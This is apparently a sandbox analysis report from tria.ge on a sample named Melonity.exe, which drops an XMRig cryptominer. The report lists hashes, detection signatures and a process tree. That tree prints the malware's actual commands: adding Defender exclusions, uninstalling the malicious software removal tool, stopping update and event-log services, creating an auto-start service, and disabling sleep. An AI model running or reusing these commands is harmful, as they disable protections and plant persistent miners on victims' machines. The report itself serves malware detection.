Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3Melonity.zip
windows7-x64
7Melonity.zip
windows10-2004-x64
1Melonity.exe
windows7-x64
7Melonity.exe
windows10-2004-x64
10Qt5WebEngineCore.dll
windows7-x64
1Qt5WebEngineCore.dll
windows10-2004-x64
1Source/Qt/...ltypes
windows7-x64
3Source/Qt/...ltypes
windows10-2004-x64
3Source/Qt/...qmldir
windows7-x64
1Source/Qt/...qmldir
windows10-2004-x64
1Source/Qt/...in.dll
windows7-x64
1Source/Qt/...in.dll
windows10-2004-x64
1Source/QtG...end.js
windows7-x64
3Source/QtG...end.js
windows10-2004-x64
3Source/QtG...st.qml
windows7-x64
3Source/QtG...st.qml
windows10-2004-x64
3Source/QtG...ay.qml
windows7-x64
3Source/QtG...ay.qml
windows10-2004-x64
3Source/QtG...ze.qml
windows7-x64
3Source/QtG...ze.qml
windows10-2004-x64
3Source/QtG...nt.qml
windows7-x64
3Source/QtG...nt.qml
windows10-2004-x64
3Source/QtG...lur.js
windows7-x64
3Source/QtG...lur.js
windows10-2004-x64
3Source/QtG...ce.qml
windows7-x64
3Source/QtG...ce.qml
windows10-2004-x64
3Source/QtG...ow.qml
windows7-x64
3Source/QtG...ow.qml
windows10-2004-x64
3Source/QtG...lur.js
windows7-x64
3Source/QtG...lur.js
windows10-2004-x64
3Source/QtG...lur.js
windows7-x64
3Source/QtG...lur.js
windows10-2004-x64
3Analysis
-
max time kernel
154s -
max time network
162s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 12:32
Static task
static1
Behavioral task
behavioral1
Sample
Melonity.zip
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Melonity.zip
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Melonity.exe
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Melonity.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
Qt5WebEngineCore.dll
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
Qt5WebEngineCore.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
Source/Qt/labs/platform/plugins.qmltypes
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Source/Qt/labs/platform/plugins.qmltypes
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
Source/Qt/labs/platform/qmldir
Resource
win7-20241023-en
Behavioral task
behavioral10
Sample
Source/Qt/labs/platform/qmldir
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
Source/Qt/labs/platform/qtlabsplatformplugin.dll
Resource
win7-20240708-en
Behavioral task
behavioral12
Sample
Source/Qt/labs/platform/qtlabsplatformplugin.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
Source/QtGraphicalEffects/Blend.js
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
Source/QtGraphicalEffects/Blend.js
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
Source/QtGraphicalEffects/BrightnessContrast.qml
Resource
win7-20241010-en
Behavioral task
behavioral16
Sample
Source/QtGraphicalEffects/BrightnessContrast.qml
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
Source/QtGraphicalEffects/ColorOverlay.qml
Resource
win7-20240729-en
Behavioral task
behavioral18
Sample
Source/QtGraphicalEffects/ColorOverlay.qml
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
Source/QtGraphicalEffects/Colorize.qml
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
Source/QtGraphicalEffects/Colorize.qml
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
Source/QtGraphicalEffects/ConicalGradient.qml
Resource
win7-20240708-en
Behavioral task
behavioral22
Sample
Source/QtGraphicalEffects/ConicalGradient.qml
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
Source/QtGraphicalEffects/DirectionalBlur.js
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
Source/QtGraphicalEffects/DirectionalBlur.js
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
Source/QtGraphicalEffects/Displace.qml
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
Source/QtGraphicalEffects/Displace.qml
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
Source/QtGraphicalEffects/DropShadow.qml
Resource
win7-20241023-en
Behavioral task
behavioral28
Sample
Source/QtGraphicalEffects/DropShadow.qml
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
Source/QtGraphicalEffects/FastBlur.js
Resource
win7-20240708-en
Behavioral task
behavioral30
Sample
Source/QtGraphicalEffects/FastBlur.js
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
Source/QtGraphicalEffects/GaussianBlur.js
Resource
win7-20240903-en
Behavioral task
behavioral32
Sample
Source/QtGraphicalEffects/GaussianBlur.js
Resource
win10v2004-20241007-en
General
-
Target
Melonity.exe
-
Size
820.2MB
-
MD5
3748e8faccd83df8fd0726ea0f37393e
-
SHA1
17027754d68d721836978dfc4f7757028d5de0e8
-
SHA256
6634600592598534aba76342f50f051971a403c35f87134693208a8af71d275b
-
SHA512
29ab9c09532ab813758c0975aea9e3cae9a939b1a38120492ac19c3decbbba47532fb98515a16281ca25150da604493bb988ed7fcd7a45119a39a071b011c6db
-
SSDEEP
98304:CSYl+O1E/Uo8EoT9AfvDm+CIUzwNhiDbY1UaV/:CS7Uo/bfyhIUziUbIU+
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 9 IoCs
resource yara_rule behavioral4/memory/4208-119-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-122-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-120-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-121-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-118-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-116-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-110-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-123-0x0000000140000000-0x0000000140835000-memory.dmp xmrig behavioral4/memory/4208-124-0x0000000140000000-0x0000000140835000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1648 powershell.exe 2376 powershell.exe -
Creates new service(s) 2 TTPs
-
Executes dropped EXE 4 IoCs
pid Process 4780 WeMod.exe 2208 Sirus.exe 2516 Sirus.exe 4508 blvsiwuhlygz.exe -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2828 powercfg.exe 3632 powercfg.exe 5096 powercfg.exe 4792 powercfg.exe 1688 powercfg.exe 808 powercfg.exe 552 powercfg.exe 2012 powercfg.exe -
Drops file in System32 directory 6 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe blvsiwuhlygz.exe File opened for modification C:\Windows\system32\MRT.exe WeMod.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Obsidium\{3D20819C-5D02B5C8-D5AE7FCB-C4F5C439} blvsiwuhlygz.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Obsidium\{3D20819C-5D02B5C8-D5AE7FCB-C4F5C439}\4508.obs blvsiwuhlygz.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4780 WeMod.exe 4508 blvsiwuhlygz.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2208 set thread context of 2516 2208 Sirus.exe 93 PID 4508 set thread context of 744 4508 blvsiwuhlygz.exe 152 PID 4508 set thread context of 4208 4508 blvsiwuhlygz.exe 155 -
resource yara_rule behavioral4/memory/4208-109-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-104-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-108-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-107-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-105-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-119-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-122-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-120-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-121-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-118-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-116-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-110-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-123-0x0000000140000000-0x0000000140835000-memory.dmp upx behavioral4/memory/4208-124-0x0000000140000000-0x0000000140835000-memory.dmp upx -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2352 sc.exe 1888 sc.exe 3588 sc.exe 2328 sc.exe 1952 sc.exe 656 sc.exe 2708 sc.exe 3448 sc.exe 3676 sc.exe 764 sc.exe 4580 sc.exe 1464 sc.exe 1856 sc.exe 3004 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 3924 2208 WerFault.exe 89 -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Melonity.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Sirus.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Sirus.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 1648 powershell.exe 1648 powershell.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4780 WeMod.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 2376 powershell.exe 2376 powershell.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4508 blvsiwuhlygz.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe 4208 explorer.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 1648 powershell.exe Token: SeShutdownPrivilege 5096 powercfg.exe Token: SeCreatePagefilePrivilege 5096 powercfg.exe Token: SeShutdownPrivilege 2012 powercfg.exe Token: SeCreatePagefilePrivilege 2012 powercfg.exe Token: SeShutdownPrivilege 3632 powercfg.exe Token: SeCreatePagefilePrivilege 3632 powercfg.exe Token: SeShutdownPrivilege 2828 powercfg.exe Token: SeCreatePagefilePrivilege 2828 powercfg.exe Token: SeDebugPrivilege 2376 powershell.exe Token: SeShutdownPrivilege 4792 powercfg.exe Token: SeCreatePagefilePrivilege 4792 powercfg.exe Token: SeShutdownPrivilege 552 powercfg.exe Token: SeCreatePagefilePrivilege 552 powercfg.exe Token: SeLockMemoryPrivilege 4208 explorer.exe Token: SeShutdownPrivilege 1688 powercfg.exe Token: SeCreatePagefilePrivilege 1688 powercfg.exe Token: SeShutdownPrivilege 808 powercfg.exe Token: SeCreatePagefilePrivilege 808 powercfg.exe -
Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 4864 wrote to memory of 4780 4864 Melonity.exe 88 PID 4864 wrote to memory of 4780 4864 Melonity.exe 88 PID 4864 wrote to memory of 2208 4864 Melonity.exe 89 PID 4864 wrote to memory of 2208 4864 Melonity.exe 89 PID 4864 wrote to memory of 2208 4864 Melonity.exe 89 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 2208 wrote to memory of 2516 2208 Sirus.exe 93 PID 1508 wrote to memory of 4576 1508 cmd.exe 103 PID 1508 wrote to memory of 4576 1508 cmd.exe 103 PID 4004 wrote to memory of 540 4004 cmd.exe 131 PID 4004 wrote to memory of 540 4004 cmd.exe 131 PID 4244 wrote to memory of 2484 4244 cmd.exe 138 PID 4244 wrote to memory of 2484 4244 cmd.exe 138 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 744 4508 blvsiwuhlygz.exe 152 PID 4508 wrote to memory of 4208 4508 blvsiwuhlygz.exe 155 PID 4508 wrote to memory of 4208 4508 blvsiwuhlygz.exe 155 PID 4508 wrote to memory of 4208 4508 blvsiwuhlygz.exe 155 PID 4508 wrote to memory of 4208 4508 blvsiwuhlygz.exe 155 PID 4508 wrote to memory of 4208 4508 blvsiwuhlygz.exe 155
Processes
-
C:\Users\Admin\AppData\Local\Temp\Melonity.exe"C:\Users\Admin\AppData\Local\Temp\Melonity.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Users\Admin\AppData\Roaming\WeMod.exeC:\Users\Admin\AppData\Roaming\WeMod.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4780 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:4576
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:764
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:656
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:2708
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:4580
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:1464
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2012
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5096
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3632
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2828
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WHAMNXEF"3⤵
- Launches sc.exe
PID:3448
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WHAMNXEF" binpath= "C:\ProgramData\jlspkeimqrvm\blvsiwuhlygz.exe" start= "auto"3⤵
- Launches sc.exe
PID:2352
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:1856
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WHAMNXEF"3⤵
- Launches sc.exe
PID:3004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\WeMod.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:540
-
-
-
-
C:\Users\Admin\AppData\Roaming\Sirus.exeC:\Users\Admin\AppData\Roaming\Sirus.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Users\Admin\AppData\Roaming\Sirus.exe"C:\Users\Admin\AppData\Roaming\Sirus.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2516
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 1963⤵
- Program crash
PID:3924
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2208 -ip 22081⤵PID:836
-
C:\ProgramData\jlspkeimqrvm\blvsiwuhlygz.exeC:\ProgramData\jlspkeimqrvm\blvsiwuhlygz.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:2484
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1888
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3588
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2328
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3676
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1952
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4792
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:552
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1688
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:808
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:744
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4208
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82